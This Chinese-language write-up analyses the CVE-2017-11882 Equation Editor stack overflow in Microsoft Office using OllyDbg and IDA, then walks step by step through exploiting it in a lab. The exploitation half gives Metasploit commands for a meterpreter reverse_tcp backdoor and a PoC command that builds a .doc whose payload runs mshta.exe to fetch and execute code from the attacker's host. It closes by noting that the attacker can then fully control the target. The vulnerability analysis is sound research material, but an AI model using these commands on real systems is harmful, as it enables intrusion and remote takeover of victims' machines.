环境:
Win7(专业版)
office 2003 sp3(完全版)
工具:
Ollydbg IDA Pro PEid Kali-Linux metasploit
POC来源:
https://github.com/embedi/CVE-2017-11882
漏洞介绍:
安全公司Embedi最早报告了漏洞,他们在一个老旧的微软工具Equation Editor中的EQNEDT32.EXE可执行程序找到“臭虫”,而这个程序编译于2000年,且一直存在与Office套件中。
这套工具的作用是插入数学公式,虽然在Office 2007后就被取代,但出于早期兼容性的考虑得以仍然保留。
具体分析:
如果分析有错误,谢谢大家帮我指正
首先我们来用PEid看一下EQNEDT32.EXE这个程序
可以看出这是一个比较老的程序了(windows向下兼容)
我们再来打开一下POC弹出了一个计算机
我们先找到触发漏洞的地方,打开OD和word然后word中打开公式编辑器,接着使用OD附加EQNEDT32.EXE
我们一般创建进程的函数常用的有CreateProcess…先在这个函数下断点,然后打开POC文件
断下来了观察堆栈发现是我们目标
我们再观察一下堆栈调用发现其实是WinExec调用了CreateProcess,我们再在WinExec下断点,然后重复上面的步骤
断下来,由于堆栈被破坏了所以我们往堆栈上面观察看看有没有残留的返回地址
找到了,我们先看第一个
我们往函数上面找在函数头下断点,看看是函数里哪一句覆盖了堆栈
经过观察我们发现是这里覆盖了返回地址,溢出溢出点就找到了
我们回溯一下看ESI是什么,EDI当然是栈内的地址
然后我们再仔细观察他的覆盖地址 并不像是一个类Jmp es的地址
我们跟这个地址进去看 发现正是WinExce,刚好符合我们前面在堆栈观察到的信息
可见这个攻击的设计者设计得非常巧妙
接下来我们使用IDA分析一下这处溢出的代码
把EQNEDT32.EXE拖进IDA 找到对应的函数41160F
发现这个传入的参数就是拷贝的长度
也就是shellcode不能被有00被截断
我们再来看一下这个POC的二进制文件
至此漏洞已经大概分析完了
接下来我们使用Kali-Linux来实际利用一下这个漏洞
启动metasploit
msfconsole
search cve-2017-11882 搜索指定模块 发现了一个(也可以使用POC自带的rb文件路径是/usr/share/metasploitframework/modules/exploits/windows/fileformat)
如果搜索不到可以使用apt update; apt install metasploit-framework 命令更新metasploit
use exploit/windows/fileformat/office_ms17_11882装载指定模块
show options 查看要设置哪些参数才能使用模块
set payload windows/meterpreter/reverse_tcp 设置payload 的类型
set lhost 192.168.1.85(Kail 系统的 IP)
set SRVHOST 192.168.1.85
set lport 4444 设置端口
set uripath 11882 设置资源标识符
然后exploit 开始攻击
等待后门程序连接
接着使用CVE-2017-11882.py 脚本生成样本(在我们下载的POC文件里有)
IP 必须是 Kali 虚拟机的 IP
虚拟路径必须是刚刚设置的 uripath 的路径
python CVE-2017-11882.py -c “mshta.exe http://192.168.1.85:8080/11882” -o 11882.doc
然后我们在靶机打开这个DOC 看是否成功
成功了 sessions 查看连接信息
使用 sessions 1(这个是要连接机器序号) 进入 sessions,开始操作后门
接下来就可以使用命令来对这台机器做任何想做的事情了
至此 分析完毕.